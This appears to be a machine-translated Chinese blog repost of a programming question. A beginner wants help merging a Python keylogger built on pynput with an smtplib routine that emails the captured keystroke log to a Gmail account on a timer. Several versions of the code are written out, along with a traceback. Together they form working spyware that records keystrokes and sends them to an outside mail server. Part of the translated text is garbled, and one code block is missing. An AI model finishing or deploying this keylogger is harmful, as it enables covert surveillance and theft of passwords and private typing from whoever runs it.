python做个脚本_做一个Python脚本每小时做一件事

本文介绍了一个使用Python实现的键盘记录器项目,该记录器能够每24小时通过电子邮件发送一次记录的日志文件。文章讨论了如何整合键盘记录模块与邮件发送模块,并解决了在无限循环中定时发送邮件的技术难题。
部署运行你感兴趣的模型镜像

对于一个项目,我正在研究python键盘记录器。我已经完成了密钥记录模块和电子邮件模块,它将日志文件发回给我,但在合并它们时遇到了困难。我希望键盘记录器每24小时给我发送一封包括日志文件的电子邮件。我怎么能那样做?在

我试着用一个简单的时间。睡觉()延迟,但是由于keylogging模块只在我将其作为一个进程终止时停止,所以它永远不会到达延迟,因为它是“无限的”。在

以下是我当前的代码:import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

from email.mime.base import MIMEBase

from email import encoders

from pynput import keyboard

#Keylogging Module

def on_press(key):

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

file.write(str(key))

file.close()

with keyboard.Listener(on_press=on_press) as Listener:

Listener.join()

#Email module

email_user = 'miku.rebane@gmail.com'

email_send = 'miku.rebane@gmail.com'

subject = 'KeyLog'

msg = MIMEMultipart()

msg['From'] = email_user

msg['To'] = email_send

msg['Subject'] = subject

body = 'Log File Attached'

msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'

attachment =open(filename,'rb')

part = MIMEBase('application','octet-stream')

part.set_payload((attachment).read())

encoders.encode_base64(part)

part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)

text = msg.as_string()

server = smtplib.SMTP('smtp.gmail.com',587)

server.starttls()

server.login(email_user,"mypassword")

server.sendmail(email_user,email_send,text)

server.quit()

请把答案解释得很简单,因为我是个初学者。在

编辑:这是新的代码,不幸的是它不起作用。在

^{pr2}$

编辑3:重新组织代码,工作,但不完整的日志发送。在import smtplib

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

from email.mime.base import MIMEBase

from email import encoders

from pynput import keyboard

import threading

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

def sendlog():

threading.Timer(10.0, sendlog).start()

email_user = 'miku.rebane@gmail.com'

email_send = 'miku.rebane@gmail.com'

subject = 'KeyLog'

msg = MIMEMultipart()

msg['From'] = email_user

msg['To'] = email_send

msg['Subject'] = subject

body = 'Log File Attached'

msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'

attachment =open(filename,'rb')

part = MIMEBase('application','octet-stream')

part.set_payload((attachment).read())

encoders.encode_base64(part)

part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)

text = msg.as_string()

server = smtplib.SMTP('smtp.gmail.com',587)

server.starttls()

server.login(email_user,"password")

server.sendmail(email_user,email_send,text)

server.quit()

sendlog()

#Keylogging Module

def on_press(key):

file.write(str(key))

file.close()

with keyboard.Listener(on_press=on_press) as Listener:

Listener.join()

编辑4:使用代码表单编辑3时出现此错误:Traceback (most recent call last):

File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in

Listener.join()

File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join

six.reraise(exc_type, exc_value, exc_traceback)

File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise

raise value.with_traceback(tb)

File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner

return f(self, *args, **kwargs)

File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process

self.on_press(key)

File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner

if f(*args) is False:

File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press

file.write(str(key))

ValueError: I/O operation on closed file.

您可能感兴趣的与本文相关的镜像

Python3.10

Python3.10

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值